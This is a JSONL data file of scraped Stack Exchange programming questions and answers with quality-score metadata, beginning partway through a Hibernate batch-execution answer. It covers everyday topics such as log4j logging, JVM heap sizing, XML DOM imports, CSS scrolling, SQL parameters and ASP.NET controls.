doExecuteBatch(...) to look like:\n```\n```\n@Override\n    protected void doExecuteBatch(PreparedStatement ps) throws SQLException, HibernateException {\n        if ( batchSize == 0 ) {\n            log.debug( \"no batched statements to execute\" );\n        }\n        else {\n            if ( log.isDebugEnabled() ) {\n                log.debug( \"Executing batch size: \" + batchSize );\n            }\n\n            try {\n//              checkRowCounts( ps.executeBatch(), ps );\n                ps.executeBatch();\n            }\n            catch (RuntimeException re) {\n                log.error( \"Exception executing batch: \", re );\n                throw re;\n            }\n            finally {\n                batchSize = 0;\n            }\n\n        }\n\n    }\n```\n```\nNote that the new method doesn't check the results of executing the prepared statements. Keep in mind that making this change might affect hibernate in some unexpected way (or maybe not).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.219378"}
{"id": "hf_df0646c4879f", "question": "<p>I have a layered application in Java which has a multi thread data access layer which is invoked from different points. A single call to this layer is likely to spawn several threads to parallelize requests to the DB. </p>\n\n<p>What I'm looking for is a logging tool that would allow me to define \"activities\" that are composed by various threads. Therefore, the same method in the data access layer should log different outputs depending on its caller. The ability to group different outputs to summarize the total cost of an operation is also important.</p>\n\n<p>Although the application is in Java, language is not a restriction; what I need are the design guidelines so to eventually implement it. We are currently using log4j, but can't get this behaviour from it.</p>\n", "question_body": "", "answer": "In log4j you can log the thread name with the \"%t\" pattern. See\nlog4j Pattern Layout\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.254023"}
{"id": "hf_9715d7aad86a", "question": "<p>Is there an open source library that will help me with reading/parsing PDF documents in .NET/C#?</p>\n", "question_body": "", "answer": "You could look into this:\nhttp://www.codeproject.com/KB/showcase/pdfrasterizer.aspx\nIt's not completely free, but it looks very nice.\nAlex", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.299731"}
{"id": "hf_ee7fb9ed079c", "question": "<p>I know there is no \"right\" heap size, but which heap size do you use in your applications (application type, jdk, os)?</p>\n\n<p>The JVM Options <code>-Xms</code> (initial/minimum) and <code>-Xmx</code> (maximum) allow for controlling the heap size. What settings make sense under which circumstances? When are the defaults appropriate?</p>\n", "question_body": "", "answer": "Typically i try not to use heaps which are larger than 1GB.\nIt will cost you on major garbage collections.\nSometime it is better to split your application to a few JVM on the same machine and not you large heap sizes.\nMajor collection with a large heap size can take >10 mintues (on unoptimized GC applications).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.344838"}
{"id": "hf_d2944108a3c0", "question": "<p>Some API returns me XmlCursor pointing on root of XML Document. I need to insert all of this into another org.w3c.DOM represented document.</p>\n\n<p>At start:\nXmlCursor poiting on\n<code></p>\n\n<p>&lt;a&gt;\n  &lt;b&gt;\n    some text\n  &lt;/b&gt;\n&lt;/a&gt;\n</code></p>\n\n<p>DOM Document:\n<code></p>\n\n<p>&lt;foo&gt;</p>\n\n<p>&lt;/foo&gt;\n</code></p>\n\n<p>At the end I want to have original DOM document changed like this:\n<code></p>\n\n<p>&lt;foo&gt;</p>\n\n<p>&nbsp;&nbsp;&lt;someOtherInsertedElement&gt;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&lt;a&gt;\n  &lt;b&gt;\n    some text\n  &lt;/b&gt;\n&lt;/a&gt;</p>\n\n<p>&nbsp;&nbsp;&lt;/someOtherInsertedElement&gt;</p>\n\n<p>&lt;/foo&gt;\n</code></p>\n\n<p>NOTE: <code>document.importNode(cursor.getDomNode())</code> doesn't work - Exception is thrown: <em>NOT_SUPPORTED_ERR: The implementation does not support the requested type of object or operation.</em></p>\n", "question_body": "", "answer": "Try something like this:\n```\n```\nNode originalNode = cursor.getDomNode();\nNode importNode = document.importNode(originalNode.getFirstChild());\nNode otherNode = document.createElement(\"someOtherInsertedElement\");\notherNode.appendChild(importNode);\ndocument.appendChild(otherNode);\n```\n```\nSo in other words:\nGet the DOM Node from the cursor. In this case, it's a DOMDocument, so do getFirstChild() to get the root node.\nImport it into the DOMDocument.\nDo other stuff with the DOMDocument.\nAppend the imported node to the right Node.\nThe reason to import is that a node always \"belongs\" to a given DOMDocument. Just adding the original node would cause exceptions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.368863"}
{"id": "hf_85179f4acd3a", "question": "<p>I've seen this done in a few sites, an example is <a href=\"http://www.artofadambetts.com/weblog/?p=169\" rel=\"noreferrer\">artofadambetts.com</a>. The scroll bar on the page scrolls only an element of the page, not the entire page. I looked at the source and havent't been able to figure it out yet. How is this done?</p>\n", "question_body": "", "answer": "To put scroll bars on an element such as a div:\n```\n<div style=\"overflow-x: auto; overflow-y: auto;>the content</div>\n```\nIf you only want a horizontal or vertical scroll bar, only use whichever of overflow-x and overflow-y you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.402910"}
{"id": "hf_a1c14b8e3f55", "question": "<p>I'm looking for a key/value pair object that I can include in a web service.</p>\n\n<p>I tried using .NET's <a href=\"http://msdn.microsoft.com/en-us/library/5tbh8a42.aspx\" rel=\"noreferrer\"><code>System.Collections.Generic.KeyValuePair&lt;&gt;</code></a> class, but it does not properly serialize in a web service. In a web service, the Key and Value properties are not serialized, making this class useless, unless someone knows a way to fix this.</p>\n\n<p>Is there any other generic class that can be used for this situation?</p>\n\n<p>I'd use .NET's <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.pair.aspx\" rel=\"noreferrer\"><code>System.Web.UI.Pair</code></a> class, but it uses Object for its types. It would be nice to use a Generic class, if only for type safety.</p>\n", "question_body": "", "answer": "Just define a struct/class.\n```\n```\n[Serializable]\npublic struct KeyValuePair<K,V>\n{\n  public K Key {get;set;}\n  public V Value {get;set;}\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.425502"}
{"id": "hf_bf782c999173", "question": "<p>I have  a RHEL 5 system with a fresh new hard drive I just dedicated to the MySQL server. To get things started, I used \"mysqldump --host otherhost -A | mysql\", even though I noticed the manpage never explicitly recommends trying this (mysqldump into a file is a no-go. We're talking 500G of database). </p>\n\n<p>This process fails at random intervals, complaining that too many files are open (at which  point mysqld gets the relevant signal, and dies and respawns). </p>\n\n<p>I tried upping it at sysctl and ulimit, but the problem persists. What do I do about it? </p>\n", "question_body": "", "answer": "mysqldump by default performs a per-table lock of all involved tables. If you have many tables that can exceed the amount of file descriptors of the mysql server process.\nTry --skip-lock-tables or if locking is imperative --lock-all-tables.\nhttp://dev.mysql.com/doc/refman/5.1/en/mysqldump.html\n```\n--lock-all-tables, -x\nLock all tables across all databases. This is achieved by acquiring a global read lock for the duration of the whole dump. This option automatically turns off --single-transaction and --lock-tables.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.447933"}
{"id": "hf_c763d0c998ea", "question": "<p>Say I've got this array:\nMyArray(0)=\"aaa\"\nMyArray(1)=\"bbb\"\nMyArray(2)=\"aaa\"</p>\n\n<p>Is there a .net function which can give me the unique values? I would like something like this as an output of the function:\nOutputArray(0)=\"aaa\"\nOutputArray(1)=\"bbb\"</p>\n", "question_body": "", "answer": "You could use a dictionary to add them with a key, and when you add them check if the key already exists.\n```\n```\nstring[] myarray = new string[] { \"aaa\", \"bbb\", \"aaa\" };\n            Dictionary mydict = new Dictionary();\n            foreach (string s in myarray) {\n                if (!mydict.ContainsKey(s)) mydict.Add(s, s);\n            }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.470739"}
{"id": "hf_02371f607390", "question": "<p>I have some code documentation in MS Powerpoint 2003 that I'm revision-controlling in an SVN repository. I'd like to auto-insert the latest revision number into this document whenever I open it. I am using TortoiseSVN. I've been able to google up a macro or two that might work but wanted advice from experts. :) Thanks!</p>\n", "question_body": "", "answer": "I think it should be possible to use the $Rev$ macro inside it with the Office 2007 XML formats, but I am not too sure what will happen with older formats that might contain binary data. You might need to tweak svn settings a bit so it sees .ppt files as text and not binary for this to work, I am not sure what is the default behavior. See svn:mime-type for this :\nhttp://svnbook.red-bean.com/en/1.2/svn.advanced.props.html\nRead this for detailed infos on $Rev$ replacement:\nhttp://svnbook.red-bean.com/en/1.4/svn.advanced.props.special.keywords.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.527842"}
{"id": "hf_28d3e5fc6f94", "question": "<p>As a consultant I get to toy around with many different products and APIs as the customer demands we use X and Y. I think it is great fun and I learn a lot from it.</p>\n\n<p>What will make a great developer over time is, in my opinion, the will to understand and learn new things. Therefore, I will always try to understand what happens \"behind the scenes\" when I am using 3rd party products.</p>\n\n<p>I spend around 10-15% of my time in Reflector to learn what the heck I'm really doing when I call method X.</p>\n\n<p>How much time do you spend on average? This may also apply to reading (open) source code, documentation etc.</p>\n", "question_body": "", "answer": "Since I develop for both .net and compact .net framework, I sometimes decompile the full .net assemblies to \"copy\" existing functionality to the compact framework.\nOther than that I don't spend that much time decompiling libs. Mostly only when something doesn't works and the problem clearly points to an assebmly and I don't want to bug someone else before I'm really shure.\nIf you want me to stick an number to it, I would say 5% of my time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.561281"}
{"id": "hf_7302e9d390ec", "question": "<p>What is the difference between TrueType fonts and Type-1 fonts?</p>\n", "question_body": "", "answer": "Type-1 is the older format, and dates back to the days when Adobe where pioneering DTP with PostScript and vector fonts. At the time Type 1 and Type 3 were the only formats understood by PostScript printers, and only Type 1 could include hints needed to make fonts look good, and the format was a trade secret. This way Adobe relegated other font foundries to non-hinted fonts using Type 3 format.\nTrueType was invented by Microsoft as a way (a) to break Adobe's monopoly on hinted font formats, (b) to avoid using a format associated with the Macintosh and PostScript on Windows. Internally TrueType used quadratic curves rather than cubic beziers, thus making them faster to render on the screen and on the cheaper non-PostScript-capable printeres used on Windows sytems. TrueType also has better support for Unicode and other things invented since the creation of Type 1. Modern Macs support TrueType as well.\nThe new format OpenType combines TrueType and Type 1 (the vector data is permitted to be in quadratic or cubic form, so you can directly convert either of the old formats to the OpenType). OpenType also has support for fancy automatic ligatures and glyph substitution, which is nice in English text and vital for text using Arabic or Indian scripts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.601957"}
{"id": "hf_a80e97434b18", "question": "<p>I have a ~23000 line SQL dump containing several databases worth of data. I need to extract a certain section of this file (i.e. the data for a single database) and place it in a new file. I know both the start and end line numbers of the data that I want.</p>\n\n<p>Does anyone know a Unix command (or series of commands) to extract all lines from a file between say line 16224 and 16482 and then redirect them into a new file?</p>\n", "question_body": "", "answer": "You could use 'vi' and then the following command:\n```\n```\n:16224,16482w!/tmp/some-file\n```\n```\nAlternatively:\n```\n```\ncat file | head -n 16482 | tail -n 258\n```\n```\nEDIT:- Just to add explanation, you use\nhead -n 16482\nto display first 16482 lines then use\ntail -n 258\nto get last 258 lines out of the first output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.625237"}
{"id": "hf_8c9d4336ac5f", "question": "<p>I have a rails application running on a Linux server. I would like to interact with Outlook/Exchange 2003 appointments from the rails application. For example, certain actions should trigger sending an appointment, and then preferably accepting/canceling the appointment in Outlook should trigger events in the application.</p>\n\n<p>Failing this, is it possible to publish calendars that Outlook 2003 can read without requiring Outlook plugins? I note that Outlook 2003 does not support ical without plugins for example. Similarly, if this is not easily doable in Ruby, but is in another language (such as Perl for example) running on Linux then those suggestions would be welcome.</p>\n\n<p>Any advice on how to achieve this, or where to start looking for answers would be gratefully received.</p>\n", "question_body": "", "answer": "Outlook appointments are just e-mails with special header information. There's some information in\nthis tutorial\non the required parts.  I sent a few meeting invites from my Outlook to my Gmail account and took a look at the raw headers there - you can figure most of the protocol out from that.\nThe\niCalendar specs\nmay help you, as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.660618"}
{"id": "hf_60915b3913e1", "question": "<p>I am looking for a good JavaScript library for parsing XML data. It should be much easier to use than the built-in <a href=\"http://www.w3schools.com/Xml/xml_parser.asp\" rel=\"nofollow noreferrer\">XML DOM parsers</a> bundled with the browsers.</p>\n\n<p>I got spoiled a bit working with JSON and am looking forward to something on similar lines for XML.</p>\n", "question_body": "", "answer": "I use\njQuery\nfor this.  Here is a good example:\n(EDIT: Note - the following blog seems to have gone away.)\nhttp://blog.reindel.com/2007/09/24/jquery-and-xml-revisited/\nThere are also lots and lots of good examples in the\njQuery\ndocumentation:\nhttp://www.webmonkey.com/tutorial/Easy_XML_Consumption_using_jQuery?oldid=20032\nEDIT: Due to the blog for my primary example going away, I wanted to add another example that shows the basics and helps with namespace issues:\nhttp://www.zachleat.com/web/selecting-xml-with-javascript/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.684065"}
{"id": "hf_d98f619e76c2", "question": "<p>I'm quoting part of an answer which I received for <a href=\"https://stackoverflow.com/questions/83088/phpmysql-regular-recalcuation-of-benchmark-values-as-new-users-submit-their-data\">another question of mine</a>:</p>\n\n<blockquote>\n  <p>In the PHP/MySQL world I would say\n  stored procedures are no-go</p>\n</blockquote>\n\n<p>I would like to know: Is that so? Why? Why not?</p>\n\n<p>[edit]I mean this as a general question without a specific need in mind[/edit]</p>\n", "question_body": "", "answer": "Do you have a specific need in mind which makes you consider them? Stored procedures are much less portable than \"plain\" SQL, that's usually why people don't want to use them. Also, having written a fair share of PL/SQL, I must say that the procedural way of writing code adds complexity and it's just not very modern or testable. They might be handy in some special cases where you need to optimize, but I'd certainly think twice. Jeff has\nsimilar opinions\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.721678"}
{"id": "hf_a95cf5c3041e", "question": "<p>What is the preferred way to remove spaces from a string in C++? I could loop through all the characters and build a new string, but is there a better way?</p>\n", "question_body": "", "answer": "From\ngamedev\n```\n```\nstring.erase(std::remove_if(string.begin(), string.end(), std::isspace), string.end());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.748211"}
{"id": "hf_fde11ac23cf8", "question": "<p>Working with a SqlCommand in C# I've created a query that contains a IN (list...) part in the where clause. Instead of looping through my string list generating the list I need for the query (dangerous if you think in sqlInjection). I thought that I could create a parameter like:</p>\n\n<pre><code>SELECT blahblahblah WHERE blahblahblah IN @LISTOFWORDS\n</code></pre>\n\n<p>Then in the code I try to add a parameter like this: </p>\n\n<pre><code>DataTable dt = new DataTable();\ndt.Columns.Add(\"word\", typeof(string));\nforeach (String word in listOfWords)\n{\n    dt.Rows.Add(word);\n}\ncomm.Parameters.Add(\"LISTOFWORDS\", System.Data.SqlDbType.Structured).Value = dt;\n</code></pre>\n\n<p>But this doesn't work. </p>\n\n<p>Questions:</p>\n\n<ul>\n<li>Am I trying something impossible?</li>\n<li>Did I took the wrong approach?</li>\n<li>Do I have mistakes in this approach?</li>\n</ul>\n\n<p>Thanks for your time :)</p>\n", "question_body": "", "answer": "You want to think about where that list comes from.  Generally that information is in the database somewhere.  For example, instead of this:\n```\n```\nSELECT * FROM [Table] WHERE ID IN (1,2,3)\n```\n```\nYou could use a subquery like this:\n```\n```\nSELECT * FROM [Table] WHERE ID IN ( SELECT TableID FROM [OtherTable] WHERE OtherTableID= @OtherTableID )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.783774"}
{"id": "hf_0b2db443e1e0", "question": "<p>I'm trying to write a stored procedure to select employees who have birthdays that are upcoming.  </p>\n\n<p><code>SELECT * FROM Employees WHERE Birthday &gt; @Today AND Birthday &lt; @Today + @NumDays</code></p>\n\n<p>This will not work because the birth year is part of Birthday, so if my birthday was '09-18-1983' that will not fall between '09-18-2008' and '09-25-2008'.  </p>\n\n<p>Is there a way to ignore the year portion of date fields and just compare month/days? </p>\n\n<p>This will be run every monday morning to alert managers of birthdays upcoming, so it possibly will span new years.  </p>\n\n<p>Here is the working solution that I ended up creating, thanks Kogus.  </p>\n\n<pre><code>SELECT * FROM Employees \nWHERE Cast(DATEDIFF(dd, birthdt, getDate()) / 365.25 as int)\n    - Cast(DATEDIFF(dd, birthdt, futureDate) / 365.25 as int) \n&lt;&gt; 0\n</code></pre>\n", "question_body": "", "answer": "You could use\nDATE_FORMAT\nto extract the day and month parts of the birthday dates.\nEDIT: sorry i didn't see that he wasn't using MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.843293"}
{"id": "hf_6c6a96bfe3d2", "question": "<p>I have a decimal number (let's call it <strong>goal</strong>) and an array of other decimal numbers (let's call the array <strong>elements</strong>) and I need to find all the combinations of numbers from <strong>elements</strong> which sum to goal.</p>\n\n<p>I have a preference for a solution in C# (.Net 2.0) but may the best algorithm win irrespective.</p>\n\n<p>Your method signature might look something like:</p>\n\n<pre><code>public decimal[][] Solve(decimal goal, decimal[] elements)\n</code></pre>\n", "question_body": "", "answer": "I think you've got a\nbin packing problem\non your hands (which is NP-hard), so I think the only solution is going to be to try every possible combination until you find one that works.\nEdit: As pointed out in a comment, you won't\nalways\nhave to try\nevery\ncombination for\nevery\nset of numbers you come across. However, any method you come up with has worst-case-scenario sets of numbers where you\nwill\nhave to try\nevery\ncombination -- or at least a subset of combinations that grows exponentially with the size of the set.\nOtherwise, it wouldn't be NP-hard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.866817"}
{"id": "hf_b51ac97be786", "question": "<p>I need to write a program used internally where different users will have different abilities within the program.</p>\n\n<p>Rather than making users have a new username and password, how do I tie into an existing domain server's login system?</p>\n\n<p>Assume .NET  (C#, VB, ASP, etc)</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "For WinForms, use System.Threading.Thread.CurrentPrincipal with the IsInRole() method to check which groups they are a member of. You do need to set the principal policy of the AppDomain to WindowsPrincipal first.\nUse this to get the current user name:\n```\n```\nprivate string getWindowsUsername()\n{\n    AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal);\n    return Thread.CurrentPrincipal.Identity.Name;\n}\n```\n```\nAnd then something like this to check a role:\n```\n```\nif (Thread.CurrentPrincipal.IsInRole(\"Domain Users\") == true)\n{}\n```\n```\nIn ASP.NET, the thread will belong to IIS, so instead you should\nSet the virtual folder or website to require authentication\nGet the user name supplied by the browser with Request.ServerVariables(\"LOGON_USER\")\nUse the\nDirectorySearcher\nclass to find the users groups", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.890579"}
{"id": "hf_827d6c04659b", "question": "<p>I am wondering what makes sense in relation to what objects to expose through a WCF service - should I add WCF Serialization specifications to my business entities or should I implement a converter that maps my business entities to the DataContracts that I want to expose through my WCF service?</p>\n\n<p>Right now I have entities on different levels: DataAccess, Business and Contract. I have converters in place that can map entities from DataAccess to Business and from Business to Contract and vice versa. Implementing and Maintaining those is time consuming and pretty tedious. What are best practices in relation to this? </p>\n\n<p>If I were using an OR/M such as NHibernate or Entity Framework should I be exposing the entities from the ORM directly or should I abstract them the same way I am doing now?</p>\n", "question_body": "", "answer": "In general, I think from a best practices standpoint, you should not expose the structure of your business objects as data contracts, but rather define \"data contract-specific\" classes and convert Business to Contract.  It may require extra work, but from a separation of concerns and protection from change standpoint the extra work is probably worth it.\nThe\nMicrosoft patterns & practices \"Service Factory Modeling Edition\"\nimplements this, and also provides tooling to auto-generate Business <=> Contract converter classes -- it's an excellent VS add-in, and also represents Microsoft's best practices for WCF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.926088"}
{"id": "hf_c21d05594351", "question": "<p>The following returns </p>\n\n<blockquote>\n  <p>Type of conditional expression cannot be determined because there is no implicit conversion between 'double' and '&lt;null&gt;'</p>\n</blockquote>\n\n<pre><code>aNullableDouble = (double.TryParse(aString, out aDouble) ? aDouble : null)\n</code></pre>\n\n<hr>\n\n<p>The reason why I can't just use aNullableBool instead of the roundtrip with aDouble is because aNullableDouble is a property of a generated EntityFramework class which cannot be used as an out par.</p>\n", "question_body": "", "answer": "```\n```\naNullableDouble = (double.TryParse(aString, out aDouble)?new Nullable<double>(aDouble):null)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.960262"}
{"id": "hf_5410feb56392", "question": "<p>I want to find records on a combination of created_on >= some date AND name IN some list of names.</p>\n\n<p>For \">=\" I'd have to use sql condition. For \"IN\" I'd have to use a hash of conditions where the key is :name and the value is the array of names.</p>\n\n<p>Is there a way to combine the two?</p>\n", "question_body": "", "answer": "You can use named scopes in rails 2.1 and above\n```\n```\nClass Test < ActiveRecord::Base\n  named_scope :created_after_2005, :conditions => \"created_on > 2005-01-01\"\n  named_scope :named_fred, :conditions => { :name => \"fred\"}\nend\n```\n```\nthen you can do\n```\n```\nTest.created_after_2005.named_fred\n```\n```\nOr you can give named_scope a lambda allowing you to pass in arguments\n```\n```\nClass Test < ActiveRecord::Base\n  named_scope :created_after, lambda { |date| {:conditions => [\"created_on > ?\", date]} }\n  named_scope :named, lambda { |name| {:conditions => {:name => name}} }\nend\n```\n```\nthen you can do\n```\n```\nTest.created_after(Time.now-1.year).named(\"fred\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:51.999863"}
{"id": "hf_aa1fea49069c", "question": "<p>Generally, what's the best way to tackle a layout bug in IE6? What are the most common bugs or problems that one should look for when trying to figure out why your page suddenly looks like a monkey coded it?</p>\n", "question_body": "", "answer": "The box model is usually the culprit.  Basically what this means is that any div you are trying to position and use unsupported CSS with will cause this problem.\nYou may find it happens if you are using min-{width,height} or max-{width,height}.\nthis provides a great reference for checking compadibility with different versions.\nhttp://www.aptana.com/reference/html/api/CSS.index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.035809"}
{"id": "hf_7adae8d48719", "question": "<p>Does any one know any good resources for creating Visual Slick macros?</p>\n", "question_body": "", "answer": "I'd start with the\nofficial community forum\nfor SlickEdit macros.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.059026"}
{"id": "hf_1a3681fca11d", "question": "<p>What interrupt would you hook from DOS to get the real-time clock?</p>\n", "question_body": "", "answer": "Read up on the\nIntel 8259\nfamily of Programmable Interrupt Controllers.  According to this, it's interrupts 8 (master) and 112 (slave).  Here's a very technical document on the 8259A:\nhttp://pdos.csail.mit.edu/6.828/2008/readings/hardware/8259A.pdf", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.105548"}
{"id": "hf_85279edee26b", "question": "<p>I need to enable/disable completely network interfaces from a script in Windows XP. I'm looking for a python solution, but any general way (eg WMI, some command-line à la netsh, some windows call) is welcome and will be adjusted. Thanks.</p>\n", "question_body": "", "answer": "The\ndevcon\ntool can control the NIC, but not the interface directly. It's a command-line version of the Device Manager applet.\n```\n```\ndevcon disable (id or portion of name)\ndevcon enable (id or portion of name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.164422"}
{"id": "hf_5e0e4a90dca8", "question": "<p>I'm trying to create a server control, which inherits from TextBox, that will automatically have a <a href=\"http://www.asp.net/AJAX/AjaxControlToolkit/Samples/Calendar/Calendar.aspx\" rel=\"nofollow noreferrer\">CalendarExtender</a> attached to it. Is it possible to do this, or does my new control need to inherit from CompositeControl instead? I've tried the former, but I'm not clear during which part of the control lifecycle I should create the new instance of the CalendarExtender, and what controls collection I should add it to. I don't seem to be able to add it to the Page or Form's controls collection, and if I add it to the (TextBox) control's collection, I get none of the pop-up calendar functionality.</p>\n", "question_body": "", "answer": "I accomplished this in a project a while back. To do it I created a CompositeControl that contains both the TextBox and the CalendarExtender.\nIn the\n```\nCreateChildControls\n```\nmethod of the CompositeControl I use code similar to this:\n```\n```\nTextBox textbox = new TextBox();\ntextbox.ID = this.ID + \"Textbox\";\ntextbox.Text = this.EditableField.TextValue;\ntextbox.TextChanged += new EventHandler(HandleTextboxTextChanged);\ntextbox.Width = new Unit(100, UnitType.Pixel);\nCalendarExtender calExender = new CalendarExtender();\ncalExender.PopupButtonID = \"Image1\";\ncalExender.TargetControlID = textbox.ID;\nthis.Controls.Add(textbox);\nthis.Controls.Add(calExender);\n```\n```\nOf course make sure that the form containing this CompositeControl has a toolkit script manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.188775"}
